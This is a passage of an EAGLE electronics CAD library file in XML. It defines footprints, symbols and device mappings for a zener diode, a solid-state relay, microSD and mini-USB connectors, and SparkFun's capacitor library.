name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"BZB984\">\n<description>dual zener diode</description>\n<gates>\n<gate name=\"G$1\" symbol=\"DIODE2C\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"SOT663\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"P$3\"/>\n<connect gate=\"G$1\" pin=\"C1\" pad=\"P$1\"/>\n<connect gate=\"G$1\" pin=\"C2\" pad=\"P$2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"CPC1008N\">\n<gates>\n<gate name=\"G$1\" symbol=\"SOLIDSTATERELAY\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"CPC1008N\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"A\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"C\"/>\n<connect gate=\"G$1\" pin=\"COM\" pad=\"COM\"/>\n<connect gate=\"G$1\" pin=\"NO\" pad=\"NO\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"MICROSD_TE2201778-1_FARN-234-5280\">\n<gates>\n<gate name=\"G$1\" symbol=\"USDCARD\" x=\"-2.54\" y=\"5.08\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"MICROSD_TE2201778-1_FARN-234-5280\">\n<connects>\n<connect gate=\"G$1\" pin=\"1_NC\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2_CS\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3_DI\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"4_VDD\" pad=\"4\"/>\n<connect gate=\"G$1\" pin=\"5_SCK\" pad=\"5\"/>\n<connect gate=\"G$1\" pin=\"6_GND\" pad=\"6\"/>\n<connect gate=\"G$1\" pin=\"7_DO\" pad=\"7\"/>\n<connect gate=\"G$1\" pin=\"8_RSV\" pad=\"8\"/>\n<connect gate=\"G$1\" pin=\"SHIELD@1\" pad=\"GND@3\"/>\n<connect gate=\"G$1\" pin=\"SHIELD@2\" pad=\"GND@2\"/>\n<connect gate=\"G$1\" pin=\"SHIELD@3\" pad=\"GND@1\"/>\n<connect gate=\"G$1\" pin=\"SHIELD@4\" pad=\"GND\"/>\n<connect gate=\"G$1\" pin=\"SWITCH_A\" pad=\"A\"/>\n<connect gate=\"G$1\" pin=\"SWITCH_B\" pad=\"B\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"USB_MINI_B_FARN1125348\">\n<description>Mini SMT USB Connector</description>\n<gates>\n<gate name=\"G$1\" symbol=\"MINI_USB_B\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"USB_MINI_B_FARN1125348\">\n<connects>\n<connect gate=\"G$1\" pin=\"$D+\" pad=\"D+\"/>\n<connect gate=\"G$1\" pin=\"$D-\" pad=\"D-\"/>\n<connect gate=\"G$1\" pin=\"$GND\" pad=\"GND\"/>\n<connect gate=\"G$1\" pin=\"$USBID\" pad=\"ID\"/>\n<connect gate=\"G$1\" pin=\"$VBUS\" pad=\"VBUS\"/>\n<connect gate=\"G$1\" pin=\"GND@1\" pad=\"GND@1\"/>\n<connect gate=\"G$1\" pin=\"GND@2\" pad=\"GND@2\"/>\n<connect gate=\"G$1\" pin=\"GND@3\" pad=\"GND@3\"/>\n<connect gate=\"G$1\" pin=\"GND@4\" pad=\"GND@4\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"SparkFun-Capacitors\">\n<description>&lt;h3&gt;SparkFun Electronics' preferred foot prints&lt;/h3&gt;\nIn this library you'll find resistors, capacitors, inductors, test points, jumper pads, etc.&lt;br&gt;&lt;br&gt;\nWe've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.\n&lt;br&gt;&lt;br&gt;\n&lt;b&gt;Licensing:&lt;/b&gt; CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.</description>\n<packages>\n<package name=\"CAP-PTH-SMALL\">\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"0.7\" diameter=\"1.651\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.7\" diameter=\"1.651\"/>\n<text x=\"0.508\" y=\"1.27\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"0.254\" y=\"-1.524\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n</package>\n<package name=\"CAP-PTH-SMALL2\">\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"1.27\" x2=\"3.81\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"1.27\" x2=\"3.81\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-1.27\" x2=\"-1.27\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-1.27\" x2=\"-1.27\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"0.7\" diameter=\"1.651\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.7\" diameter=\"1.651\"/>\n<text x=\"-1.27\" y=\"1.905\" size=\"0.6096\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.27\" y=\"-2.54\" size=\"0.6096\" layer=\"27\">&gt;Value</text>\n</package>\n<package name=\"0805\">\n<wire x1=\"-0.3\" y1=\"0.6\" x2=\"0.3\" y2=\"0.6\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.3\" y1=\"-0.6\" x2=\"0.3\" y2=\"-0.6\" width=\"0.1524\" layer=\"21\"/>\n<smd name=\"1\" x=\"-0.9\" y=\"0\" dx=\"0.8\" dy=\"1.2\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.9\" y=\"0\" dx=\"0.8\" dy=\"1.2\" layer=\"1\"/>\n<text x=\"-0.762\" y=\"0.8255\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-1.397\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"CAP-PTH-LARGE\">\n<wire x1=\"0\" y1=\"0.635\" x2=\"0\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"0\" x2=\"0\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"0\" x2=\"-2.54\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"0\" x2=\"2.54\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"-4.826\" y=\"0\" drill=\"0.9\" diameter=\"1.905\"/>\n<pad name=\"2\" x=\"4.572\" y=\"0\" drill=\"0.9\" diameter=\"1.905\"/>\n<text x=\"-0.762\" y=\"1.27\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.016\" y=\"-1.524\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n</package>\n<package name=\"GRM43D\">\n<wire x1=\"2.25\" y1=\"1.6\" x2=\"1.1\" y2=\"1.6\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.1\" y1=\"1.6\" x2=\"-1.1\" y2=\"1.6\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-1.1\" y1=\"1.6\" x2=\"-2.25\" y2=\"1.6\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-2.25\" y1=\"1.6\" x2=\"-2.25\" y2=\"-1.6\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-2.25\" y1=\"-1.6\" x2=\"-1.1\" y2=\"-1.6\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-1.1\" y1=\"-1.6\" x2=\"1.1\" y2=\"-1.6\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.1\" y1=\"-1.6\" x2=\"2.25\" y2=\"-1.6\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"2.25\" y1=\"-1.6\" x2=\"2.25\" y2=\"1.6\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.1\" y1=\"1.6\" x2=\"1.1\" y2=\"-1.6\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-1.1\" y1=\"1.6\" x2=\"-1.1\" y2=\"-1.6\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-2.3\" y1=\"1.8\" x2=\"2.3\" y2=\"1.8\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"-1.8\" x2=\"2.3\" y2=\"-1.8\" width=\"0.127\" layer=\"21\"/>\n<smd name=\"A\" x=\"1.927\" y=\"0\" dx=\"3.2\" dy=\"1.65\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"C\" x=\"-1.927\" y=\"0\" dx=\"3.2\" dy=\"1.65\" layer=\"1\" rot=\"R90\"/>\n<text x=\"-2\" y=\"2\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"0\" y=\"-2\" size=\"0.4064\" layer=\"27\" rot=\"R180\">&gt;VALUE</text>\n<rectangle x1=\"-2.2\" y1=\"-1.6\" x2=\"-1.1\" y2=\"1.6\" layer=\"51\"/>\n<rectangle x1=\"1.1\" y1=\"-1.6\" x2=\"2.2\" y2=\"1.6\" layer=\"51\"/>\n</package>\n<package name=\"0603-CAP\">\n<wire x1=\"-1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.356\" y1=\"0.432\" x2=\"0.356\" y2=\"0.432\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.356\" y1=\"-0.419\" x2=\"0.356\" y2=\"-0.419\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"0\" y1=\"0.0305\" x2=\"0\" y2=\"-0.0305\" width=\"0.5588\" layer=\"21\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"0.762\" size=\"0.4064\" layer=\"25\" font=\"vector\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-1.143\" size=\"0.4064\" layer=\"27\" font=\"vector\">&gt;VALUE</text>\n<rectangle x1=\"-0.8382\" y1=\"-0.4699\" x2=\"-0.3381\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"0.3302\" y1=\"-0.4699\" x2=\"0.8303\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.3\" x2=\"0.1999\" y2=\"0.3\" layer=\"35\"/>\n</package>\n<package name=\"0402-CAP\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-0.245\" y1=\"0.224\" x2=\"0.245\" y2=\"0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.245\" y1=\"-0.224\" x2=\"-0.245\" y2=\"-0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"0\" y1=\"0.0305\" x2=\"0\" y2=\"-0.0305\" width=\"0.4064\" layer=\"21\"/>\n<smd name=\"1\" x=\"-0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"0.6985\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.0795\" y=\"-1.143\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.554\" y1=\"-0.3048\" x2=\"-0.254\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"0.2588\" y1=\"-0.3048\" x2=\"0.5588\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.3\" x2=\"0.1999\" y2=\"0.3\" layer=\"35\"/>\n</package>\n<package name=\"CAP-PTH-5MM\">\n<wire x1=\"0\" y1=\"0.635\" x2=\"0\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"-2.5\" y=\"0\" drill=\"0.7\" diameter=\"1.651\"/>\n<pad name=\"2\" x=\"2.5\" y=\"0\" drill=\"0.7\" diameter=\"1.651\"/>\n<text x=\"-0.762\" y=\"1.27\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.016\" y=\"-1.524\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n</package>\n<package name=\"AXIAL-5MM\">\n<wire x1=\"-1.14\" y1=\"0.762\" x2=\"1.14\" y2=\"0.762\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.14\" y1=\"0.762\" x2=\"1.14\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.14\" y1=\"0\" x2=\"1.14\" y2=\"-0.762\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.14\" y1=\"-0.762\" x2=\"-1.14\" y2=\"-0.762\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.14\" y1=\"-0.762\" x2=\"-1.14\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.14\" y1=\"0\" x2=\"-1.14\" y2=\"0.762\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.14\" y1=\"0\" x2=\"1.394\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.14\" y1=\"0\" x2=\"-1.394\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"P$1\" x=\"-2.5\" y=\"0\" drill=\"0.9\" diameter=\"1.8796\"/>\n<pad name=\"P$2\" x=\"2.5\" y=\"0\" drill=\"0.9\" diameter=\"1.8796\"/>\n<text x=\"-2.54\" y=\"1.17\" size=\"0.4\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.032\" y=\"-0.208\" size=\"0.4\" layer=\"21\" ratio=\"15\">&gt;Value</text>\n</package>\n<package name=\"1210\">\n<wire x1=\"-1.6\" y1=\"1.3\" x2=\"1.6\" y2=\"1.3\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.6\" y1=\"1.3\" x2=\"1.6\" y2=\"-1.3\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.6\" y1=\"-1.3\" x2=\"-1.6\" y2=\"-1.3\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-1.6\" y1=\"-1.3\" x2=\"-1.6\" y2=\"1.3\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-1.6\" y1=\"1.3\" x2=\"1.6\" y2=\"1.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.6\" y1=\"-1.3\" x2=\"1.6\" y2=\"-1.3\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.6\" y=\"0\" dx=\"1.2\" dy=\"2\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.6\" y=\"0\" dx=\"1.2\" dy=\"2\" layer=\"1\"/>\n<text x=\"-0.8\" y=\"0.5\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.9\" y=\"-0.7\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"1206\">\n<wire x1=\"-2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.965\" y1=\"0.787\" x2=\"0.965\" y2=\"0.787\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.965\" y1=\"-0.787\" x2=\"0.965\" y2=\"-0.787\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1.6\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1.6\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"1.143\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.397\" y=\"-1.524\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.7018\" y1=\"-0.8509\" x2=\"-0.9517\" y2=\"0.8491\" layer=\"51\"/>\n<rectangle x1=\"0.9517\" y1=\"-0.8491\" x2=\"1.7018\" y2=\"0.8509\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.4001\" x2=\"0.1999\" y2=\"0.4001\" layer=\"35\"/>\n</package>\n<package name=\"CTZ3\">\n<description>CTZ3 Series land pattern for variable capacitor - CTZ3E-50C-W1-PF</description>\n<wire x1=\"-1.6\" y1=\"1.4\" x2=\"-1.6\" y2=\"-2.25\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-1.6\" y1=\"-2.25\" x2=\"1.6\" y2=\"-2.25\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.6\" y1=\"1.4\" x2=\"1.6\" y2=\"-2.25\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-0.5\" y1=\"0\" x2=\"0.5\" y2=\"0\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-1.6\" y1=\"1.4\" x2=\"-1\" y2=\"2.2\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.6\" y1=\"1.4\" x2=\"1\" y2=\"2.2\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-1\" y1=\"2.2\" x2=\"1\" y2=\"2.2\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"0\" y1=\"0.8\" x2=\"0\" y2=\"-0.8\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-0.8\" y1=\"0\" x2=\"0.8\" y2=\"0\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-1.05\" y1=\"2.25\" x2=\"-1.7\" y2=\"1.45\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-1.7\" y1=\"1.45\" x2=\"-1.7\" y2=\"-2.35\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-1.7\" y1=\"-2.35\" x2=\"-1.05\" y2=\"-2.35\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"1.05\" y1=\"2.25\" x2=\"1.7\" y2=\"1.4\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"1.7\" y1=\"1.4\" x2=\"1.7\" y2=\"-2.35\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"1.7\" y1=\"-2.35\" x2=\"1.05\" y2=\"-2.35\" width=\"0.127\" layer=\"21\"/>\n<smd name=\"+\" x=\"0\" y=\"2.05\" dx=\"1.5\" dy=\"1.2\" layer=\"1\"/>\n<smd name=\"-\" x=\"0\" y=\"-2.05\" dx=\"1.5\" dy=\"1.2\" layer=\"1\"/>\n<text x=\"-2\" y=\"3\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2\" y=\"-3.4\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"CAP-PTH-SMALL-KIT\">\n<description>&lt;h3&gt;CAP-PTH-SMALL-KIT&lt;/h3&gt;\nCommonly used for small ceramic capacitors. Like our 0.1uF (http://www.sparkfun.com/products/8375) or 22pF caps (http://www.sparkfun.com/products/8571).&lt;br&gt;\n&lt;br&gt;\n&lt;b&gt;Warning:&lt;/b&gt; This is the KIT version of this package. This package has a smaller diameter top stop mask, which doesn't cover the diameter of the pad. This means only the bottom side of the pads' copper will be exposed. You'll only be able to solder to the bottom side.</description>\n<wire x1=\"0\" y1=\"0.635\" x2=\"0\" y2=\"-0.635\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.667\" y1=\"1.27\" x2=\"2.667\" y2=\"1.27\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.667\" y1=\"1.27\" x2=\"2.667\" y2=\"-1.27\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.667\" y1=\"-1.27\" x2=\"-2.667\" y2=\"-1.27\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.667\" y1=\"-1.27\" x2=\"-2.667\" y2=\"1.27\" width=\"0.254\" layer=\"21\"/>\n<pad name=\"1\" x=\"-1.397\" y=\"0\" drill=\"1.016\" diameter=\"2.032\" stop=\"no\"/>\n<pad name=\"2\" x=\"1.397\" y=\"0\" drill=\"1.016\" diameter=\"2.032\" stop=\"no\"/>\n<polygon width=\"0.127\" layer=\"30\">\n<vertex x=\"-1.4021\" y=\"-0.9475\" curve=\"-90\"/>\n<vertex x=\"-2.357\" y=\"-0.0178\" curve=\"-90.011749\"/>\n<vertex x=\"-1.4046\" y=\"0.9576\" curve=\"-90\"/>\n<vertex x=\"-0.4546\" y=\"-0.0204\" curve=\"-90.024193\"/>\n</polygon>\n<polygon width=\"0.127\" layer=\"29\">\n<vertex x=\"-1.4046\" y=\"-0.4395\" curve=\"-90.012891\"/>\n<vertex x=\"-1.8491\" y=\"-0.0153\" curve=\"-90\"/>\n<vertex x=\"-1.4046\" y=\"0.452\" curve=\"-90\"/>\n<vertex x=\"-0.9627\" y=\"-0.0051\" curve=\"-90.012967\"/>\n</polygon>\n<polygon width=\"0.127\" layer=\"30\">\n<vertex x=\"1.397\" y=\"-0.9475\" curve=\"-90\"/>\n<vertex x=\"0.4421\" y=\"-0.0178\" curve=\"-90.011749\"/>\n<vertex x=\"1.3945\" y=\"0.9576\" curve=\"-90\"/>\n<vertex x=\"2.3445\" y=\"-0.0204\" curve=\"-90.024193\"/>\n</polygon>\n<polygon width=\"0.127\" layer=\"29\">\n<vertex x=\"1.3945\" y=\"-0.4395\" curve=\"-90.012891\"/>\n<vertex x=\"0.95\" y=\"-0.0153\" curve=\"-90\"/>\n<vertex x=\"1.3945\" y=\"0.452\" curve=\"-90\"/>\n<vertex x=\"1.8364\" y=\"-0.0051\" curve=\"-90.012967\"/>\n</polygon>\n</package>\n<package name=\"CAP-PTH-SMALLEZ\">\n<description>This is the \"EZ\" version of the .1\" spaced ceramic thru-hole cap.&lt;br&gt;\nIt has reduced top mask to make it harder to put the component on the wrong side of the board.</description>\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"1.27\" x2=\"3.81\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"1.27\" x2=\"3.81\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-1.27\" x2=\"-1.27\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-1.27\" x2=\"-1.27\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"0.7\" diameter=\"1.651\" stop=\"no\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.7\" diameter=\"1.651\" stop=\"no\"/>\n<text x=\"-1.27\" y=\"1.905\" size=\"0.6096\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.27\" y=\"-2.54\" size=\"0.6096\" layer=\"27\">&gt;Value</text>\n<circle x=\"0\" y=\"0\" radius=\"0.898025\" width=\"0\" layer=\"30\"/>\n<circle x=\"2.54\" y=\"0\" radius=\"0.915809375\" width=\"0\" layer=\"30\"/>\n<circle x=\"0\" y=\"0\" radius=\"0.40160625\" width=\"0\" layer=\"29\"/>\n<circle x=\"2.54\" y=\"0\" radius=\"0.40160625\" width=\"0\" layer=\"29\"/>\n</package>\n</packages>\n<symbols>\n<symbol name=\"CAP\">\n<wire x1=\"0\" y1=\"2.54\" x2=\"0\" y2=\"2.032\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"0\" x2=\"0\" y2=\"0.508\" width=\"0.1524\" layer=\"94\"/>\n<text x=\"1.524\" y=\"2.921\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"1.524\" y=\"-2.159\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<rectangle x1=\"-2.032\" y1=\"0.508\" x2=\"2.032\" y2=\"1.016\" layer=\"94\"/>\n<rectangle x1=\"-2.032\" y1=\"1.524\" x2=\"2.032\" y2=\"2.032\" layer=\"94\"/>\n<pin name=\"1\" x=\"0\" y=\"5.08\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"1\" rot=\"R270\"/>\n<pin name=\"2\" x=\"0\" y=\"-2.54\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"1\" rot=\"R90\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"CAP\" prefix=\"C\" uservalue=\"yes\">\n<description>&lt;b&gt;Capacitor&lt;/b&gt;\nStandard 0603 ceramic capacitor, and 0.1\" leaded capacitor.</description>\n<gates>\n<gate name=\"G$1\" symbol=\"CAP\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"PTH\" package=\"CAP-PTH-SMALL\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"PTH2\" package=\"CAP-PTH-SMALL2\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0805\" package=\"0805\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"PTH3\" package=\"CAP-PTH-LARGE\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SMD\" package=\"GRM43D\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"A\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"C\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0603-CAP\" package=\"0603-CAP\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0402-CAP\" package=\"0402-CAP\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"PTH1\" package=\"CAP-PTH-5MM\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"_\" package=\"AXIAL-5MM\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"P$1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"P$2\"/>\n</connects>\n<technologies>\n<technology 